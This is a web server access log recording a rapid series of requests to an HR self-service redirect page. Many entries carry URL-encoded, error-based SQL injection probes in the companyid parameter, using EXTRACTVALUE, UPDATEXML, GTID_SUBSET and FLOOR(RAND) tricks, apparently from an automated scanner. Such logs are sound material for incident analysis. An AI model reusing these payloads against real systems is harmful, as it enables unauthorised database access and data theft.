100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x426d3333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66574457%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x754e5344%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65745861%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x35576354%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f346847%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3739524d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49686d34%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x386e544d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d373932%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x70757864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6153616e%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a716359%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58594830%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x576c4c70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50387238%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67397338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4263764e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x7556717a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b593375%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4a586c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54306e66%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x724e364d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47484435%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f333033%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58443770%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f333033%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58443770%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
